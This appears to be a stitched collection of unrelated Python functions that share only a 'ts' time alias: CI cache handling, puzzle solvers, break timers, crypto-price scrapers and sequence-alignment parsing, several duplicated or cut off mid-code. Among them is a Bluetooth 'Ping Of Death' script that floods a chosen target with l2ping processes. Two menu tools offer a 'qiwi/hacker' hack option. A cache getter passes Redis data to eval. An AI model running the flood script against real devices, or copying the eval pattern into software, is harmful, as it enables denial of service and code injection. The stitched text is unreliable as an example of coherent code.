def _download(self, src: str, dst: str): if not self._container.path_exists(src): logger.info("Cache '%s': Not found", self._cache_name) return logger.info("Cache '%s': Downloading", self._cache_name) t = ts() with NamedTemporaryFile(dir=self._cache_directory, delete=False) as f: try: logger.debug(f"Downloading cache folder '{src}' to '{f.name}'") data, _ = self._container.get_archive(src) size = 0 for chunk in data: size += len(chunk) f.write(chunk) except Exception as e: logger.error( f"Error getting cache from container: {self._cache_name}: {e}" ) os.unlink(f.name) return else: logger.debug(f"Moving temp cache archive {f.name} to {dst}") os.rename(f.name, dst) t = ts() - t logger.info("Cache '%s': Downloaded %s in %.3fs", self._cache_name, utils.get_human_readable_size(size), t)
def _restore_cache(self): temp_dir = get_remote_temp_directory(self._cache_name) target_dir = sanitize_remote_path( self._cache_definitions[self._cache_name]) logger.info("Cache '%s': Restoring", self._cache_name) t = ts() restore_cache_script = [ f'if [ -e "{target_dir}" ]; then rm -rf "{target_dir}"; fi', f'mkdir -p "$(dirname "{target_dir}")"', f'mv "{temp_dir}" "{target_dir}"', ] exit_code, output = self._container.run_command( "\n".join(restore_cache_script)) if exit_code != 0: raise Exception( f"Error restoring cache: {self._cache_name}: {output.decode()}" ) t = ts() - t logger.info("Cache '%s': Restored in %.3fs", self._cache_name, t)
def upload(self): logger.info("Loading artifacts") t = ts() tar_data = io.BytesIO() with tarfile.open(fileobj=tar_data, mode="w|") as tar: for root, _, files in os.walk(self._artifact_directory): for af in files: full_path = os.path.join(root, af) relpath = os.path.relpath(full_path, self._artifact_directory) ti = TarInfo(relpath) stat = os.stat(full_path) ti.size = stat.st_size ti.mode = stat.st_mode with open(full_path, "rb") as f: tar.addfile(ti, f) res = self._container.put_archive(config.build_dir, tar_data.getvalue()) if not res: raise Exception(f"Error loading artifact: {af}") t = ts() - t logger.info("Artifacts loaded in %.3fs", t)
def _upload_cache(self, cache_file): remote_cache_directory = get_remote_temp_directory(self._cache_name) remote_cache_parent_directory = os.path.dirname(remote_cache_directory) cache_archive_size = os.path.getsize(cache_file) logger.info("Cache '%s': Uploading", self._cache_name) t = ts() prepare_cache_dir_cmd = ( f'[ -d "{remote_cache_directory}" ] && rm -rf "{remote_cache_directory}"; ' f'mkdir -p "{remote_cache_parent_directory}"') res, output = self._container.run_command(prepare_cache_dir_cmd) if res != 0: logger.error("Remote command failed: %s", output.decode()) raise Exception(f"Error uploading cache: {self._cache_name}") with open(cache_file, "rb") as f: success = self._container.put_archive( remote_cache_parent_directory, f) if not success: raise Exception(f"Error uploading cache: {self._cache_name}") t = ts() - t logger.info("Cache '%s': Uploaded %s in %.3fs", self._cache_name, utils.get_human_readable_size(cache_archive_size), t)
def video_break(): global endv global time_str try: break_time= int(spinbox1.get())#*60 except: messagebox.showerror(title="Wrong value", message="Type in the desired amount of minutes as whole numbers") return break_number = int(spinbox2.get()) while break_number > 0: for t in range(break_time, -1, -1): sf = "{:02d}:{:02d}".format(*divmod(t, 60)) time_str.set(sf) if endv > 0: time_str.set("00:00") break top.update() ts(1) if endv > 0: break wo("http://www.youtube.com/watch?v=dQw4w9WgXcQ") break_number -= 1
def _build_teardown(self, exit_code): logger.info("Build teardown: '%s'", self._step.name) s = ts() self._download_caches(exit_code) self._download_artifacts() self._stop_services() logger.info("Build teardown finished in %.3fs: '%s'", ts() - s, self._step.name)
def timer(): break_time = int(spinbox1.get()) break_number = int(spinbox2.get()) for t in range(break_time, -1, -1): sf = "{:02d}:{:02d}".format(*divmod(t, 60)) time_str.set(sf) root.update() ts(1)
def video_break(): clock() break_time = int(spinbox1.get()) break_number = int(spinbox2.get()) while break_number > 0: timer() ts(break_time) wo("http://www.youtube.com/watch?v=dQw4w9WgXcQ") break_number -= 1
def main(): program = load_input("d09.txt") _t = ts() p1 = get_boost_keycode(program) _t = ts() - _t print(f"Part 1: {p1} ({_t:.3f}s)") _t = ts() p2 = get_coords(program) _t = ts() - _t print(f"Part 2: {p2} ({_t:.3f}s)")
def load_token(): tokens = Token.objects.filter(ts__gte=ts()) if len(tokens) == 0: settings = T411_SETTINGS try: t411 = T411(settings) except Exception as e: raise e t = Token(token=t411.token, ts=ts() + 3600 * 24 * 90) t.save() token = t411.token else: token = tokens[0].token return token
def run(self) -> PipelineResult: logger.info("Running pipeline: %s", self._ctx.pipeline_name) logger.debug("Pipeline UUID: %s", self._ctx.pipeline_uuid) self._ctx.pipeline_variables = self._ask_for_variables() s = ts() exit_code = self._execute_pipeline() logger.info("Pipeline '%s' executed in %.3fs.", self._ctx.pipeline_name, ts() - s) if exit_code: logger.error("Pipeline '%s': Failed", self._ctx.pipeline_name) else: logger.info("Pipeline '%s': Successful", self._ctx.pipeline_name) return PipelineResult(exit_code, self._ctx.project_metadata.build_number, self._ctx.pipeline_uuid)
def local_merge_loaded(self): self.mainframe.addToJavaScriptWindowObject('norm_app', self) self.mainframe.evaluateJavaScript("window.scrollTo(0, %d);" % (self.pgoffset, )) self.log((3, ts())) return
def main(): try: first = BOLD + W + "hsf" + W first += " > " console = input(first) if console == "help": help.help() main() elif console == "use" or console == "use ": print(R + "\nFor example" + W + ":" + BOLD + " use scan/scanner\n" + W) main() elif console == "banner": logo.logo() menu.menu() main() elif console == "clear" or console == "cls": clear() main() elif console == "show modules": show_modules.show_modules() main() elif console == "exit": print(R + "\n[*]" + W + " Exiting...\n" + W) ts(1) #MODULES elif console == "use scan/scanner": scanner.scanner() main() #SYSCOM else: print(R + "\nERROR" + W + ": Wrong command => " + console + "\n") main() except (KeyboardInterrupt): print(R + "\n\n[*]" + W + " Exiting...\n" + W) ts(1)
def setex(self, value, time): """Set the value to ``value`` that expires in ``time`` seconds """ res = self.get_client().setex(self.storage_key, value, time) if res: self._value = value self._timeout = ts() + time return res
def get_value(self): # 如果没有缓存值,或者设置的超时时间已过,强制从redis里重新取值 if self._value is None or (self._timeout and self._timeout <= ts()): self._value = self.get_client().get(self.storage_key) _value_type = getattr(self.__class__, "value_type", None) if _value_type and _value_type in ["int", "float", "long"]: self._value = eval("%s('%s')" % (_value_type, self._value)) return self._value
def main(): signal = [int(i) for i in list(load_input("d16.txt"))] _t = ts() output = fft(signal, 100) _t = ts() - _t p1 = "".join([str(c) for c in output[:8]]) print(f"Part 1: {p1}") print(f"Runtime: {_t:.3f}s") offset = int("".join([str(c) for c in signal[:7]])) signal = (signal * 10000)[offset:] _t = ts() output = fft2(signal, 100) _t = ts() - _t p2 = "".join([str(c) for c in output[:8]]) print(f"Part 2: {p2}") print(f"Runtime: {_t:.3f}s")
def done_calibration(self): self.html = self.meta self.html += """<script type="text/javascript">var cost_model = %s</script>"""%(str(self.cost_model), ) self.html += open(self.curpath + "/html/done_calibration.html").read().replace("@@CURRENT_DIR@@", "file://" + self.curpath) self._window._view.setHtml(self.html) self.mainframe = self._window._view.page().mainFrame() self.mainframe.addToJavaScriptWindowObject('printer', self.printer) self.log((6, ts()))
def main(): os.system("clear") ts(5) print(banner) try: van = input(R + "cbf>> " + W) if van == "use modules qiwi/hacker": ts(3) print("") print("") mod = input(R + "cbf[hack/checker?]: " + W) if mod == "checker": balance.bal() main() elif mod == "hack": vivod.viv() main() elif van == "help": from core import help main() elif van == "quit": print(R + "good bye!" + W) else: print(R + "[X]" + W + " Wrong command -> " + van) ts(2) main() except (KeyboardInterrupt): print(R + "[X]" + W + " Exiting...")
def main(): print(banner) try: van = input(">>> ") if van == "1" or van == "01": balance.bal() main() elif van == "2" or van == "02": vivod.viv() main() elif van == "3" or van == "03": print(R+"\nBye, bye\n"+W) else: print(R+"[X]"+W+" Wrong command -> " + van) ts(1) main() except(KeyboardInterrupt): print(R+"[X]"+W+" Exiting...")
def _prepare(self) -> str: remote_dir = sanitize_remote_path( self._cache_definitions[self._cache_name]) target_dir = get_remote_temp_directory(self._cache_name) logger.info("Cache '%s': Preparing", self._cache_name) t = ts() prepare_cache_cmd = f'if [ -e "{remote_dir}" ]; then mv "{remote_dir}" "{target_dir}"; fi' exit_code, output = self._container.run_command(prepare_cache_cmd) if exit_code != 0: raise Exception( f"Error preparing cache: {self._cache_name}: {output.decode()}" ) t = ts() - t logger.info("Cache '%s': Prepared in %.3fs", self._cache_name, t) return target_dir
def page_crawler(self): url = self.url i = 1 headers = { 'cookie':'__cfduid=d610dedd6d49197dab76835d46e85e23d1514802696; gtm_session_first=Mon%20Jan%2001%202018%2013:31:39%20GMT+0300%20(Arab%20Standard%20Time); _ga=GA1.2.1827791076.1514802700; _gid=GA1.2.546089261.1514802700; __gads=ID=2d4c2935567363ae:T=1514802701:S=ALNI_MZsp5Hpj_qVfD7D8G2lW3cTTqhr8A; gtm_session_last=Mon%20Jan%2001%202018%2014:16:52%20GMT+0300%20(Arab%20Standard%20Time)', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', } status = True datasets = [] img = [] cols = ['No#','Name','Market','Market Cap','Price','Volume(24h)','Circulating Supply','Change(24h)','Price Graph(7d)'] while status: page_url = "{}/{}".format(url, i) sess = r.Session() sess = sess.get(page_url, headers=headers) if sess.status_code == 200: soup = BeautifulSoup(sess.text, 'lxml') tbody = soup.find_all("tbody") for tr in tbody[0].find_all("tr"): td = tr.find_all('td') sets = {} sets.update({ cols[0]:td[0].text.strip(), cols[1]:td[1].text.strip().split("\n")[1], cols[2]:td[1].text.strip().split("\n")[0], cols[3]:td[2].text.strip(), cols[4]:td[3].text.strip(), cols[5]:td[4].text.strip(), cols[6]:td[5].text.strip(), cols[7]:td[6].text.strip(), cols[8]:td[7].img['src'], }) img.append(td[7].img['src']) datasets.append(sets) i += 1 else: status = False time = datetime.fromtimestamp(ts()).strftime('%m-%d-%Y_%H-%M-%S') try: os.mkdir("file") except: pass df = pd.DataFrame(columns=cols) df = df.append(datasets, ignore_index=False) df.to_excel("file/" + time + ".xls", index=False) return img
def download(self, artifacts: List[str]): if not artifacts: return artifact_file = f"artifacts-{self._step_uuid}.tar" artifact_remote_path = os.path.join(config.build_dir, artifact_file) artifact_local_directory = self._artifact_directory logger.info("Collecting artifacts") t = ts() path_filters = " -o ".join(f"-path './{a}'" for a in artifacts) prepare_artifacts_cmd = ["find", "-type", "f", r"\(", path_filters, r"\)"] prepare_artifacts_cmd += ["|", "tar", "cf", artifact_file, "-C", config.build_dir, "-T", "-"] self._container.run_command(prepare_artifacts_cmd) if not self._container.path_exists(artifact_remote_path): logger.info("No artifacts found. Skipping") return data, stats = self._container.get_archive(artifact_remote_path, encode_stream=True) logger.debug("artifacts stats: %s", stats) # noinspection PyTypeChecker with tarfile.open(fileobj=utils.FileStreamer(data), mode="r|") as wrapper_tar: for entry in wrapper_tar: with tarfile.open(fileobj=wrapper_tar.extractfile(entry), mode="r|") as tar: tar.extractall(artifact_local_directory) t = ts() - t logger.info( "Artifacts saved %s to %s in %.3fs", utils.get_human_readable_size(stats["size"]), artifact_local_directory, t, )
def done_calibration(self): self.html = self.meta self.html += """<script type="text/javascript">var cost_model = %s</script>""" % ( str(self.cost_model), ) self.html += open(self.curpath + "/html/done_calibration.html").read().replace( "@@CURRENT_DIR@@", "file://" + self.curpath) self._window._view.setHtml(self.html) self.mainframe = self._window._view.page().mainFrame() self.mainframe.addToJavaScriptWindowObject('printer', self.printer) self.log((6, ts()))
def _build_setup(self): logger.info("Build setup: '%s'", self._step.name) s = ts() self._clone_repository() self._upload_artifacts() self._upload_caches() if self._ctx.pipeline_ctx.pipeline_variables: self._output_logger.info("Pipeline Variables:\n") for k, v in self._ctx.pipeline_ctx.pipeline_variables.items(): self._output_logger.info("\t%s: %s\n", k, v) self._output_logger.info("\n") self._output_logger.info("Images used:\n") docker_image = self._docker_client.images.get(self._get_image().name) self._output_logger.info("\tbuild: %s@%s\n", docker_image.tags[0].split(":")[0], docker_image.id) for name, container in self._services_manager.get_services_containers().items(): self._output_logger.info("\t%s: %s@%s\n", name, container.image.tags[0].split(":")[0], container.image.id) self._output_logger.info("\n") logger.info("Build setup finished in %.3fs: '%s'", ts() - s, self._step.name)
def save_to_xls(self, result): path = self.path time = datetime.fromtimestamp(ts()).strftime('%m-%d-%Y_%H-%M-%S') try: os.mkdir(path) except: pass save_to = str(path +"/"+ time) cols = ['rank', 'id', 'name', 'symbol', 'price_usd', 'price_btc', 'volume_usd_24h', 'market_cap_usd', 'available_supply', 'total_supply', 'max_supply', 'percent_change_1h', 'percent_change_24h', 'percent_change_7d', 'last_updated','graph(7d)'] df = pd.DataFrame(columns=cols) df = df.append(result, ignore_index=False) df.to_excel('{}.xls'.format(save_to), index=False)
def video_break(): try: break_time = int(spinbox1.get()) #*60 except: messagebox.showerror( title="Wrong value", message="Type in the desired amount of minutes as whole numbers") return def exit2(): top.destroy() top = Toplevel() top.geometry('200x100+200+100') top.resizable(False, False) label_font = ('helvetica', 40) clock = Label(top, textvariable=time_str, font=label_font, bg='white', fg=mycolor, relief='raised', bd=3).pack(fill='x', padx=5, pady=5) AbortButton = Button(top, text='Abort', command=exit2).pack() break_number = int(spinbox2.get()) while break_number > 0: for t in range(break_time, -1, -1): sf = "{:02d}:{:02d}".format(*divmod(t, 60)) time_str.set(sf) top.update() ts(1) wo("http://www.youtube.com/watch?v=dQw4w9WgXcQ") break_number -= 1
def spirai_api(self): session, result = self.auth() print("Authentication Status : " + str(result.status_code)) path = 'api' try: os.mkdir(path) except: pass url = "https://api2.spir.ai/exchange?sites=Bittrex,Poloniex,Kraken,Bitfinex" sess = session.post(url) data = sess.json() for i in range(len(data['coins'])): try: l = ast.literal_eval(data['coins'][i]['history']) except: continue data['coins'][i]['history'] = l time = datetime.fromtimestamp(ts()).strftime('%m-%d-%Y_%H-%M-%S') with open("{}/{}.json".format(path, time), 'w') as file: json.dump(data, file, indent=2) return data
def main(): try: print(banner) hop[0] = input(B + POD + "INTERFACE" + W + " (default: hci0) > ") or "hci0" hop[1] = input(B + POD + "TARGET" + W + " > ") hop[2] = int(input(B + POD + "SIZE" + W + " (default: 600) > ") or 600) print(G + "-" * 30 + W) start = input("Do you want to start: (Y/n) ") if start == 'y' or start == 'Y': print(G + "\n[+]" + W + " Bluetooth Ping Of Death Attack Started ...") ts(1) print(G + "[+]" + W + " Sending packets to the victim. Be patient!") try: for i in range(1, 10000): xterm_1 = "l2ping -i %s -s %s -f %s &" % (hop[0], hop[2], hop[1]) subprocess.Popen(xterm_1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) ts(2) except (KeyboardInterrupt, OSError): print(R + "[-]" + W + " Try again!") ts(2) main() elif start == 'n' or start == 'N': print(B + "\n[*]" + W + " Exiting...") ts(1) else: print("Check your command!") main() except (KeyboardInterrupt): print(B + "\n[*]" + W + " Exiting...")
def spirai_api(self): headers = { 'accept':'application/json', 'accept-encoding':'gzip, deflate, br', 'accept-language':'en-US,en;q=0.9', 'authorization':'Basic null', 'content-length':'6156', 'content-type':'application/json', 'origin':'https://spir.ai', 'referer':'https://spir.ai/exchange', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', } path = 'api' try: os.mkdir(path) except: pass payload = {"columns":False} url = "https://api2.spir.ai/exchange?sites=Bittrex,Poloniex,Kraken,Bitfinex" sess = r.Session() sess = sess.post(url, data=payload, headers=headers) data = sess.json() for i in range(len(data['coins'])): try: l = ast.literal_eval(data['coins'][i]['history']) except: continue data['coins'][i]['history'] = l time = datetime.fromtimestamp(ts()).strftime('%m-%d-%Y_%H-%M-%S') with open("{}/{}.json".format(path, time), 'w') as file: json.dump(data, file, indent=2) return data
def calibrate_ua_ispure_loaded(self): self.mainframe.addToJavaScriptWindowObject('calib_app', self) self.log((4, ts())) return
#print("Look from", t, time, step, pattern[high_index]) #input() for p in pattern: #print("pt", t + p[1]) if not (t + p[1]) % p[0] == 0: break matches += 1 #print(">", matches, len(pattern)) #input() if matches == len(pattern): print("XXX", time - pattern[high_index][1]) break if time > result: print("STOP!") break time += step print("T", time - high_index) print("R", target) #part1(data) t1 = ts() partX(data) t2 = ts() print() print("Took", (t2 - t1) * 1000, "ms.")
# 14. tSize - Target sequence size. # 15. tStart - Alignment start position in query. # 16. tEnd - Alignment end position in query. # 17. blockCount - Number of blocks in the alignment. # 18. blockSizes - Comma-separated list of sizes of each block. # 19. qStarts - Comma-separated list of start position of each block in query. # 20. tStarts - Comma-separated list of start position of each block in target. HITS = {} if args.input_file: INPUT = open(args.input_file, "r") else: INPUT = sys.stdin if args.verbose: ssw("[{0}]\tReading input file\n".format(ts())) k=0 if args.remove_header: headerCount = 0 else: headerCount = 5 for line in INPUT: if headerCount >= 5: int(line.rstrip().split()[0]) k+=1 linelist = line.rstrip().split("\t") ratio = round(float(float(int(linelist[0]) + int(linelist[2])) / int(linelist[10])), 2) # store strings at the end, so they don't alter any future numerical sorting of the tuples # store the whole line at the end, so it's easy to fetch when printing lineTuple = (ratio, linelist[1], linelist[5], linelist[7], linelist[13], line.rstrip())
def estimate_purity_function_loaded(self): self.mainframe.addToJavaScriptWindowObject('calib_app', self) self.log((2, ts())) return
return x def encode_fn(data): fn = [] elements = data.split(",") for e in elements: fn.append(e[0]) fn.append(str(e[1:])) return encode(",".join(fn)) cpu = IntCodeCPU(program) cpu.poke(0, 2) cpu.run(encode(routine)) for f in functions: cpu.run(encode_fn(f[1])) cpu.run(encode("n")) print(f"Part 2: {cpu.pop_output()[-1]}") # grid.render() if __name__ == "__main__": _t = ts() main() _t = ts() - _t print(f"Runtime: {_t:.3f}s")
# 14. tSize - Target sequence size. # 15. tStart - Alignment start position in query. # 16. tEnd - Alignment end position in query. # 17. blockCount - Number of blocks in the alignment. # 18. blockSizes - Comma-separated list of sizes of each block. # 19. qStarts - Comma-separated list of start position of each block in query. # 20. tStarts - Comma-separated list of start position of each block in target. HITS = {} if args.input_file: INPUT = open(args.input_file, "r") else: INPUT = sys.stdin if args.verbose: ssw("[{0}]\tReading input file\n".format(ts())) k = 0 if args.remove_header: headerCount = 0 else: headerCount = 5 for line in INPUT: if headerCount >= 5: int(line.rstrip().split()[0]) k += 1 linelist = line.rstrip().split("\t") ratio = round( float( float(int(linelist[0]) + int(linelist[2])) / int(linelist[10])), 2)
#!/usr/bin/python2 import socket from time import sleep as ts s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for i in range(0, 7): if i // 2: a = "hiiii this is my naeme" # b=a.encode('utf-8') s.sendto(a, ("127.0.0.1", 9999)) ts(5) else: a = "namesta mera name yahi hai" # b=a.encode('utf-8') s.sendto(a, ("127.0.0.1", 9999)) ts(5)
def result_summary_loaded(self): self.mainframe.addToJavaScriptWindowObject('norm_app', self) self.mainframe.evaluateJavaScript("window.scrollTo(0, 0);") self.log((4, ts()))
def calibrate_ua_finddoment_loaded(self): self.mainframe.addToJavaScriptWindowObject('calib_app', self) self.log((5, ts())) return
def local_merge_loaded(self): self.mainframe.addToJavaScriptWindowObject('norm_app', self) self.mainframe.evaluateJavaScript("window.scrollTo(0, %d);"%(self.pgoffset, )) self.log((2, ts()))
def global_merge_loaded(self): self.mainframe.addToJavaScriptWindowObject('norm_app', self) self.mainframe.evaluateJavaScript("window.scrollTo(0, 0);") self.log((3, ts()))